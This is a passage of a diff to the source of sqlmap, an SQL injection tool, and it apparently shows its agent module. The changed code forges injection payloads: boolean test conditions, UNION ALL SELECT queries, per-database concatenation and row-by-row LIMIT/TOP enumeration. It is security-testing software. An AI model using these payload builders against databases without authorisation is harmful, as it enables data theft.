where = kb.injection.data[kb.technique].where
|
||||
|
||||
# If we are replacing (<where>) the parameter original value with
|
||||
# our payload do not append the suffix
|
||||
if where == PAYLOAD.WHERE.REPLACE:
|
||||
pass
|
||||
|
||||
elif kb.injection.suffix is not None:
|
||||
expression += " %s" % kb.injection.suffix
|
||||
elif suffix is not None:
|
||||
expression += " %s" % suffix
|
||||
|
||||
return expression.rstrip()
|
||||
|
||||
def cleanupPayload(self, payload, origValue=None):
|
||||
if payload is None:
|
||||
return
|
||||
|
||||
randInt = randomInt()
|
||||
randInt1 = randomInt()
|
||||
randStr = randomStr()
|
||||
randStr1 = randomStr()
|
||||
|
||||
if comment:
|
||||
string += comment
|
||||
payload = payload.replace("[RANDNUM]", str(randInt))
|
||||
payload = payload.replace("[RANDNUM1]", str(randInt1))
|
||||
payload = payload.replace("[RANDSTR]", randStr)
|
||||
payload = payload.replace("[RANDSTR1]", randStr1)
|
||||
payload = payload.replace("[DELIMITER_START]", kb.misc.start)
|
||||
payload = payload.replace("[DELIMITER_STOP]", kb.misc.stop)
|
||||
payload = payload.replace("[SPACE_REPLACE]", kb.misc.space)
|
||||
payload = payload.replace("[DOLLAR_REPLACE]", kb.misc.dollar)
|
||||
payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
|
||||
|
||||
if conf.postfix:
|
||||
string += " %s" % conf.postfix
|
||||
if origValue is not None:
|
||||
payload = payload.replace("[ORIGVALUE]", origValue)
|
||||
|
||||
if "[INFERENCE]" in payload:
|
||||
if Backend.getIdentifiedDbms() is not None:
|
||||
inference = queries[Backend.getIdentifiedDbms()].inference
|
||||
|
||||
if "dbms_version" in inference:
|
||||
if isDBMSVersionAtLeast(inference.dbms_version):
|
||||
inferenceQuery = inference.query
|
||||
else:
|
||||
inferenceQuery = inference.query2
|
||||
else:
|
||||
inferenceQuery = inference.query
|
||||
|
||||
payload = payload.replace("[INFERENCE]", inferenceQuery)
|
||||
else:
|
||||
errMsg = "invalid usage of inference payload without "
|
||||
errMsg += "knowledge of underlying DBMS"
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
return payload
|
||||
|
||||
def getComment(self, reqObj):
|
||||
if "comment" in reqObj:
|
||||
comment = reqObj.comment
|
||||
else:
|
||||
if kb.parenthesis is not None:
|
||||
string += " AND %s" % ("(" * kb.parenthesis)
|
||||
else:
|
||||
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
|
||||
comment = ""
|
||||
|
||||
if kb.injType == "numeric":
|
||||
string += "%d=%d" % (randInt, randInt)
|
||||
elif kb.injType == "stringsingle":
|
||||
string += "'%s'='%s" % (randStr, randStr)
|
||||
elif kb.injType == "likesingle":
|
||||
string += "'%s' LIKE '%s" % (randStr, randStr)
|
||||
elif kb.injType == "stringdouble":
|
||||
string += "\"%s\"=\"%s" % (randStr, randStr)
|
||||
elif kb.injType == "likedouble":
|
||||
string += "\"%s\" LIKE \"%s" % (randStr, randStr)
|
||||
else:
|
||||
raise sqlmapNoneDataException, "unsupported injection type"
|
||||
|
||||
return string
|
||||
return comment
|
||||
|
||||
def nullAndCastField(self, field):
|
||||
"""
|
||||
@@ -182,11 +280,19 @@ class Agent:
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
# SQLite version 2 does not support neither CAST() nor IFNULL(),
|
||||
# introduced only in SQLite version 3
|
||||
if Backend.getIdentifiedDbms() == DBMS.SQLITE:
|
||||
return field
|
||||
|
||||
if field.startswith("(CASE"):
|
||||
nulledCastedField = field
|
||||
else:
|
||||
nulledCastedField = queries[kb.dbms].cast % field
|
||||
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
|
||||
nulledCastedField = queries[Backend.getIdentifiedDbms()].cast.query % field
|
||||
if Backend.getIdentifiedDbms() == DBMS.ACCESS:
|
||||
nulledCastedField = queries[Backend.getIdentifiedDbms()].isnull.query % (nulledCastedField, nulledCastedField)
|
||||
else:
|
||||
nulledCastedField = queries[Backend.getIdentifiedDbms()].isnull.query % nulledCastedField
|
||||
|
||||
return nulledCastedField
|
||||
|
||||
@@ -220,19 +326,22 @@ class Agent:
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if not kb.dbmsDetected:
|
||||
if not Backend.getDbms():
|
||||
return fields
|
||||
|
||||
fields = fields.replace(", ", ",")
|
||||
fieldsSplitted = fields.split(",")
|
||||
dbmsDelimiter = queries[kb.dbms].delimiter
|
||||
nulledCastedFields = []
|
||||
if fields.startswith("(CASE") or fields.startswith("SUBSTR") or fields.startswith("MID("):
|
||||
nulledCastedConcatFields = fields
|
||||
else:
|
||||
fields = fields.replace(", ", ",")
|
||||
fieldsSplitted = fields.split(",")
|
||||
dbmsDelimiter = queries[Backend.getIdentifiedDbms()].delimiter.query
|
||||
nulledCastedFields = []
|
||||
|
||||
for field in fieldsSplitted:
|
||||
nulledCastedFields.append(self.nullAndCastField(field))
|
||||
for field in fieldsSplitted:
|
||||
nulledCastedFields.append(self.nullAndCastField(field))
|
||||
|
||||
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, temp.delimiter, dbmsDelimiter)
|
||||
nulledCastedConcatFields = delimiterStr.join([field for field in nulledCastedFields])
|
||||
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.misc.delimiter, dbmsDelimiter)
|
||||
nulledCastedConcatFields = delimiterStr.join([field for field in nulledCastedFields])
|
||||
|
||||
return nulledCastedConcatFields
|
||||
|
||||
@@ -253,14 +362,21 @@ class Agent:
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
||||
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
|
||||
fieldsSelectCase = re.search("\ASELECT\s+(\(CASE WHEN\s+.+\s+END\))", query, re.I)
|
||||
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
|
||||
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
|
||||
fieldsNoSelect = query
|
||||
prefixRegex = "(?:\s+(?:FIRST|SKIP)\s+\d+)*"
|
||||
fieldsSelectTop = getCompiledRegex("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", re.I).search(query)
|
||||
fieldsSelectDistinct = getCompiledRegex("\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, re.I).search(query)
|
||||
fieldsSelectCase = getCompiledRegex("\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, re.I).search(query)
|
||||
fieldsSelectFrom = getCompiledRegex("\ASELECT%s\s+(.+?)\s+FROM\s+" % prefixRegex, re.I).search(query)
|
||||
fieldsExists = getCompiledRegex("EXISTS(.*)", re.I).search(query)
|
||||
fieldsSelect = getCompiledRegex("\ASELECT%s\s+(.*)" % prefixRegex, re.I).search(query)
|
||||
fieldsSubstr = getCompiledRegex("\A(SUBSTR|MID\()", re.I).search(query)
|
||||
fieldsNoSelect = query
|
||||
|
||||
if fieldsSelectTop:
|
||||
if fieldsSubstr:
|
||||
fieldsToCastStr = query
|
||||
elif fieldsExists:
|
||||
fieldsToCastStr = fieldsSelect.groups()[0]
|
||||
elif fieldsSelectTop:
|
||||
fieldsToCastStr = fieldsSelectTop.groups()[0]
|
||||
elif fieldsSelectDistinct:
|
||||
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
|
||||
@@ -273,21 +389,25 @@ class Agent:
|
||||
elif fieldsNoSelect:
|
||||
fieldsToCastStr = fieldsNoSelect
|
||||
|
||||
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
|
||||
fieldsToCastList = fieldsToCastList.split(",")
|
||||
# Function
|
||||
if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
|
||||
fieldsToCastList = [fieldsToCastStr]
|
||||
else:
|
||||
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
|
||||
fieldsToCastList = fieldsToCastList.split(",")
|
||||
|
||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
|
||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists
|
||||
|
||||
def simpleConcatQuery(self, query1, query2):
|
||||
concatenatedQuery = ""
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
if Backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||
concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
|
||||
|
||||
elif kb.dbms in ( "PostgreSQL", "Oracle" ):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):
|
||||
concatenatedQuery = "%s||%s" % (query1, query2)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
concatenatedQuery = "%s+%s" % (query1, query2)
|
||||
|
||||
return concatenatedQuery
|
||||
@@ -320,64 +440,68 @@ class Agent:
|
||||
|
||||
if unpack:
|
||||
concatenatedQuery = ""
|
||||
query = query.replace(", ", ",")
|
||||
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
|
||||
castedFields = self.nullCastConcatFields(fieldsToCastStr)
|
||||
query = query.replace(", ", ",")
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
|
||||
castedFields = self.nullCastConcatFields(fieldsToCastStr)
|
||||
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
|
||||
else:
|
||||
concatenatedQuery = query
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
|
||||
return query
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
if fieldsSelectCase:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatenatedQuery += ",'%s')" % temp.stop
|
||||
elif fieldsSelectFrom:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatenatedQuery += ",'%s')" % temp.stop
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatenatedQuery, temp.stop)
|
||||
|
||||
elif kb.dbms in ( "PostgreSQL", "Oracle" ):
|
||||
if fieldsSelectCase:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatenatedQuery += "||'%s'" % temp.stop
|
||||
elif fieldsSelectFrom:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatenatedQuery += "||'%s'" % temp.stop
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "'%s'||%s||'%s'" % (temp.start, concatenatedQuery, temp.stop)
|
||||
|
||||
if kb.dbms == "Oracle" and " FROM " not in concatenatedQuery and ( fieldsSelect or fieldsNoSelect ):
|
||||
concatenatedQuery += " FROM DUAL"
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
if fieldsSelectTop:
|
||||
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||
if Backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||
if fieldsExists:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1)
|
||||
concatenatedQuery += ",'%s')" % kb.misc.stop
|
||||
elif fieldsSelectCase:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatenatedQuery += "+'%s'" % temp.stop
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1)
|
||||
concatenatedQuery += ",'%s')" % kb.misc.stop
|
||||
elif fieldsSelectFrom:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % kb.misc.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatenatedQuery += "+'%s'" % temp.stop
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1)
|
||||
concatenatedQuery += ",'%s')" % kb.misc.stop
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "'%s'+%s+'%s'" % (temp.start, concatenatedQuery, temp.stop)
|
||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):
|
||||
if fieldsExists:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
|
||||
concatenatedQuery += "||'%s'" % kb.misc.stop
|
||||
elif fieldsSelectCase:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.misc.start, 1)
|
||||
concatenatedQuery += ")||'%s'" % kb.misc.stop
|
||||
elif fieldsSelectFrom:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % kb.misc.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
|
||||
concatenatedQuery += "||'%s'" % kb.misc.stop
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "'%s'||%s||'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if fieldsExists:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
|
||||
concatenatedQuery += "+'%s'" % kb.misc.stop
|
||||
elif fieldsSelectTop:
|
||||
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.misc.start), 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.misc.stop, 1)
|
||||
elif fieldsSelectCase:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
|
||||
concatenatedQuery += "+'%s'" % kb.misc.stop
|
||||
elif fieldsSelectFrom:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.misc.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
|
||||
concatenatedQuery += "+'%s'" % kb.misc.stop
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "'%s'+%s+'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
|
||||
|
||||
return concatenatedQuery
|
||||
|
||||
def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
|
||||
def forgeInbandQuery(self, query, position, count, comment, prefix, suffix, char, multipleUnions=None):
|
||||
"""
|
||||
Take in input an query (pseudo query) string and return its
|
||||
processed UNION ALL SELECT query.
|
||||
@@ -400,62 +524,83 @@ class Agent:
|
||||
forged within an UNION ALL SELECT statement
|
||||
@type query: C{str}
|
||||
|
||||
@param exprPosition: it is the NULL position where it is possible
|
||||
@param position: it is the NULL position where it is possible
|
||||
to inject the query
|
||||
@type exprPosition: C{int}
|
||||
@type position: C{int}
|
||||
|
||||
@return: UNION ALL SELECT query string forged
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
|
||||
if query.startswith("SELECT "):
|
||||
query = query[len("SELECT "):]
|
||||
|
||||
inbandQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
|
||||
|
||||
if query.startswith("TOP"):
|
||||
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
|
||||
query = query[len("TOP %s " % topNum):]
|
||||
# TOP enumeration on DBMS.MSSQL is too specific and it has to go into it's own brackets
|
||||
# because those NULLs cause problems with ORDER BY clause
|
||||
if Backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||
inbandQuery += ",".join(map(lambda x: char if x != position else '(SELECT %s)' % query, range(0, count)))
|
||||
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
|
||||
return inbandQuery
|
||||
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
|
||||
query = query[len("TOP %s " % topNum):]
|
||||
inbandQuery += "TOP %s " % topNum
|
||||
|
||||
if not exprPosition:
|
||||
exprPosition = kb.unionPosition
|
||||
|
||||
intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)
|
||||
|
||||
if intoRegExp:
|
||||
intoRegExp = intoRegExp.group(1)
|
||||
query = query[:query.index(intoRegExp)]
|
||||
|
||||
if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
|
||||
inbandQuery = inbandQuery[:-len(" FROM DUAL")]
|
||||
if Backend.getIdentifiedDbms() in FROM_TABLE and inbandQuery.endswith(FROM_TABLE[Backend.getIdentifiedDbms()]):
|
||||
inbandQuery = inbandQuery[:-len(FROM_TABLE[Backend.getIdentifiedDbms()])]
|
||||
|
||||
for element in range(kb.unionCount):
|
||||
for element in range(0, count):
|
||||
if element > 0:
|
||||
inbandQuery += ", "
|
||||
|
||||
if element == exprPosition:
|
||||
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
|
||||
if element == position:
|
||||
if " FROM " in query and ("(CASE " not in query or ("(CASE " in query and "WHEN use" in query)) and "EXISTS(" not in query and not query.startswith("SELECT "):
|
||||
conditionIndex = query.index(" FROM ")
|
||||
inbandQuery += query[:conditionIndex]
|
||||
else:
|
||||
inbandQuery += query
|
||||
else:
|
||||
inbandQuery += nullChar
|
||||
inbandQuery += char
|
||||
|
||||
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
|
||||
if " FROM " in query and ("(CASE " not in query or ("(CASE " in query and "WHEN use" in query)) and "EXISTS(" not in query and not query.startswith("SELECT "):
|
||||
conditionIndex = query.index(" FROM ")
|
||||
inbandQuery += query[conditionIndex:]
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
if " FROM " not in inbandQuery:
|
||||
inbandQuery += " FROM DUAL"
|
||||
if Backend.getIdentifiedDbms() in FROM_TABLE:
|
||||
if " FROM " not in inbandQuery or "(CASE " in inbandQuery:
|
||||
inbandQuery += FROM_TABLE[Backend.getIdentifiedDbms()]
|
||||
|
||||
if intoRegExp:
|
||||
inbandQuery += intoRegExp
|
||||
|
||||
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
|
||||
if multipleUnions:
|
||||
inbandQuery += " UNION ALL SELECT "
|
||||
|
||||
for element in range(count):
|
||||
if element > 0:
|
||||
inbandQuery += ", "
|
||||
|
||||
if element == position:
|
||||
inbandQuery += multipleUnions
|
||||
else:
|
||||
inbandQuery += char
|
||||
|
||||
if Backend.getIdentifiedDbms() in FROM_TABLE:
|
||||
inbandQuery += FROM_TABLE[Backend.getIdentifiedDbms()]
|
||||
|
||||
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
|
||||
|
||||
return inbandQuery
|
||||
|
||||
def limitQuery(self, num, query, field=None):
|
||||
def limitQuery(self, num, query, field=None, uniqueField=None):
|
||||
"""
|
||||
Take in input a query string and return its limited query string.
|
||||
|
||||
@@ -477,31 +622,39 @@ class Agent:
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
limitedQuery = query
|
||||
limitStr = queries[kb.dbms].limit
|
||||
fromIndex = limitedQuery.index(" FROM ")
|
||||
untilFrom = limitedQuery[:fromIndex]
|
||||
fromFrom = limitedQuery[fromIndex+1:]
|
||||
limitedQuery = query
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query
|
||||
fromIndex = limitedQuery.index(" FROM ")
|
||||
untilFrom = limitedQuery[:fromIndex]
|
||||
fromFrom = limitedQuery[fromIndex+1:]
|
||||
orderBy = False
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
limitStr = queries[kb.dbms].limit % (num, 1)
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif kb.dbms == "Oracle":
|
||||
elif Backend.getIdentifiedDbms() == DBMS.FIREBIRD:
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num+1, num+1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
|
||||
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
|
||||
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
||||
|
||||
if query.startswith("SELECT "):
|
||||
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
|
||||
delimiter = queries[Backend.getIdentifiedDbms()].delimiter.query
|
||||
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom.replace(delimiter, ','), limitStr)
|
||||
else:
|
||||
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr)
|
||||
limitedQuery = limitedQuery % fromFrom
|
||||
limitedQuery = limitedQuery % fromFrom
|
||||
limitedQuery += "=%d" % (num + 1)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
elif Backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||
forgeNotIn = True
|
||||
|
||||
if " ORDER BY " in limitedQuery:
|
||||
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
|
||||
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
||||
|
||||
notDistincts = re.findall("DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I)
|
||||
@@ -511,29 +664,42 @@ class Agent:
|
||||
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
|
||||
|
||||
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
|
||||
topNums = re.search(queries[kb.dbms].limitregexp, limitedQuery, re.I)
|
||||
topNums = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, limitedQuery, re.I)
|
||||
|
||||
if topNums:
|
||||
topNums = topNums.groups()
|
||||
quantityTopNums = topNums[0]
|
||||
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
|
||||
startTopNums = topNums[1]
|
||||
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
|
||||
forgeNotIn = False
|
||||
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
|
||||
startTopNums = topNums[1]
|
||||
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
|
||||
forgeNotIn = False
|
||||
else:
|
||||
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
|
||||
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
||||
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
|
||||
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
||||
|
||||
if forgeNotIn:
|
||||
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
||||
|
||||
if " WHERE " in limitedQuery:
|
||||
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
||||
else:
|
||||
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
|
||||
if " ORDER BY " not in fromFrom:
|
||||
# Reference: http://vorg.ca/626-the-MS-SQL-equivalent-to-MySQLs-limit-command
|
||||
if " WHERE " in limitedQuery:
|
||||
limitedQuery = "%s AND %s " % (limitedQuery, uniqueField or field)
|
||||
else:
|
||||
limitedQuery = "%s WHERE ISNULL(%s,' ') " % (limitedQuery, uniqueField or field)
|
||||
|
||||
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
||||
limitedQuery += "%s %s)" % (field, fromFrom)
|
||||
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
||||
limitedQuery += "ISNULL(%s,' ') %s ORDER BY 1) ORDER BY 1" % (uniqueField or field, fromFrom)
|
||||
else:
|
||||
if " WHERE " in limitedQuery:
|
||||
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
||||
else:
|
||||
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
|
||||
|
||||
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
||||
limitedQuery += "%s %s)" % (field, fromFrom)
|
||||
|
||||
if orderBy:
|
||||
limitedQuery += orderBy
|
||||
|
||||
return limitedQuery
|
||||
|
||||
@@ -554,7 +720,64 @@ class Agent:
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
return queries[kb.dbms].case % expression
|
||||
caseExpression = expression
|
||||
|
||||
if Backend.getIdentifiedDbms() is not None and hasattr(queries[Backend.getIdentifiedDbms()], "case"):
|
||||
caseExpression = queries[Backend.getIdentifiedDbms()].case.query % expression
|
||||
|
||||
if Backend.getIdentifiedDbms() in FROM_TABLE and not caseExpression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]):
|
||||
caseExpression += FROM_TABLE[Backend.getIdentifiedDbms()]
|
||||
|
||||
return caseExpression
|
||||
|
||||
def addPayloadDelimiters(self, inpStr):
|
||||
"""
|
||||
Adds payload delimiters around the input string
|
||||
"""
|
||||
retVal = inpStr
|
||||
|
||||
if inpStr:
|
||||
retVal = "%s%s%s" % (PAYLOAD_DELIMITER, inpStr, PAYLOAD_DELIMITER)
|
||||
|
||||
return retVal
|
||||
|
||||
def removePayloadDelimiters(self, inpStr):
|
||||
"""
|
||||
Removes payload delimiters from inside the input string
|
||||
"""
|
||||
retVal = inpStr
|
||||
|
||||
if inpStr:
|
||||
retVal = retVal.replace(PAYLOAD_DELIMITER, '')
|
||||
|
||||
return retVal
|
||||
|
||||
def extractPayload(self, inpStr):
|
||||
"""
|
||||
Extracts payload from inside of the input string
|
||||
"""
|
||||
retVal = None
|
||||
|
||||
if inpStr:
|
||||
regObj = getCompiledRegex("%s(?P<result>.*?)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER))
|
||||
match = regObj.search(inpStr)
|
||||
|
||||
if match:
|
||||
retVal = match.group("result")
|
||||
|
||||
return retVal
|
||||
|
||||
def replacePayload(self, inpStr, payload):
|
||||
"""
|
||||
Replaces payload inside the input string with a given payload
|
||||
"""
|
||||
retVal = inpStr
|
||||
|
||||
if inpStr:
|
||||
regObj = getCompiledRegex("(%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER))
|
||||
retVal = regObj.sub("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER), inpStr)
|
||||
|
||||
return retVal
|
||||
|
||||
# SQL agent
|
||||
agent = Agent()
|
||||
|
||||
+1903
-335
File diff suppressed because it is too large
Load Diff
+113
-50
@@ -3,23 +3,8 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
